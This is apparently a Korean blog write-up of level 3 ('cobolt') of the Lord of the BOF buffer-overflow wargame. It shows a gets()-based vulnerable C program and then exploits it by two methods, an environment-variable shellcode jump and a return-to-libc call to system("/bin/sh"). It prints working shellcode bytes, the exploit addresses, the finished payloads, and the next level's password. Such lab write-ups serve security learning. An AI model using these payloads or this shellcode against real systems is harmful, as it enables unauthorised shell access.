DongDD's IT

[LOB] Level3 cobolt 본문

Wargame/LOB

[LOB] Level3 cobolt

DongDD 2018. 1. 16. 15:50

[LOB] Level3 cobolt


Problem



cobolt로 접속하니 앞에 문제와 같은 형식으로 되어있었다. 소스 코드와 실행 파일 하나가 주어져있었다.

소스 코드를 확인해보았다.


1
2
3
4
5
6
7
int main()
{
    char buffer[16];
    gets(buffer);
    printf(“%s\n”,buffer);
}
 
cs


앞에 문제에서 인자를 받아 strcpy로 buffer에 복사해줬다면 이번 문제는 gets, stdin으로 buffer를 직접 입력받게 되어있었다.

buffer의 크기는 16bytes였고 단순히 인자로 받던 프로그램에서 stdin으로 입력을 받는 것으로 바뀌었을 뿐이라 생각했다.

1,2번 문제에서 풀었던 방법으로 풀 수 있을 거란 생각이 들었다.


Solution


1. Shell code 삽입을 위한 환경 변수 이용


buffer의 크기가 16bytes라 shell code를 그냥 넣기에는 무리가 있었다. 그래서 환경 변수를 이용하는 방법을 택했다.



앞 문제에서와 같이 aa라는 환경 변수에 shell code를 넣어주었다. 그 이후에 환경 변수의 주소를 알아내기 위해 getenv()함수를 사용하는 프로그램을 작성해 사용했고 환경 변수의 주소를 찾을 수 있었다.


/bin/bash 쉘코드(33bytes) : \x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80


환경 변수 aa의 주소 : 0xbffffdb9


위의 정보로 Payload를 작성할 수 있었다.

Payload = dummy(20bytes, buffer+sfp) + return address(shell code가 저장된 환경 변수의 주소)


위 Payload를 사용해 문제를 통과할 수 있었다.


2. RTL(Return To Library)


소스 코드를 처음 보고 가장 떠오른 방법이 RTL이였다. 바로 ldd를 통해 검사해보았고 가능하다는 것을 알 수 있었다.



goblin파일을 먼저 cp해서 gdb할 수 있는 환경을 만들었다. 그 후에 ldd를 통해 library의 주소가 변경되지 않는 것을 확인했다. RTL을 시도해볼 수 있다는 생각이 들었다.

gdb를 통해 system()함수의 주소를 알아낼 수 있었다.


system() 함수의 주소 : 0x40058ae0



syetem()함수에 들어갈 인자 "/bin/sh"의 주소를 찾기 위해 앞 문제에서 사용했던 코드로 프로그램을 작성해 "/bin/sh"의 주소를 찾아내었다.


"/bin/sh"의 주소 : 0x400fbff9


system()함수와 "/bin/sh"의 주소로 payload를 작성할 수 있었다.


Payload : dummy(20 bytes, buffer+sfp) + return address(system함수의 주소) + dummy(4 bytes) + arg("/bin/sh"의 주소)


위 Payload를 사용해 실행해 보니 문제를 통과할 수 있었다.




**************     Answer & Flag     **************


1. 환경 변수 Shell code 이용


Payload : dummy(20bytes, buffer+sfp) + return address(shell code가 저장된 환경 변수의 주소)

"a"*20 + "\xb9\xfd\xff\xbf"



2. Return To Library(RTL)


Payload : dummy(20 bytes, buffer+sfp) + return address(system함수의 주소) + dummy(4 bytes) + arg("/bin/sh"의 주소)

"a"*20 + "\xe0\x8a\x05\x40" + "aaaa" + "\xf9\xbf\x0f\x40"





Next ID: goblin

Next PW: hackers proof

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level6 wolfman  (0) 2018.01.19
[LOB] Level5 orc  (0) 2018.01.18
[LOB] Level4 goblin  (0) 2018.01.17
[LOB] Level2 gremlin  (0) 2018.01.11
[LOB] Level1 gate  (0) 2018.01.09
Comments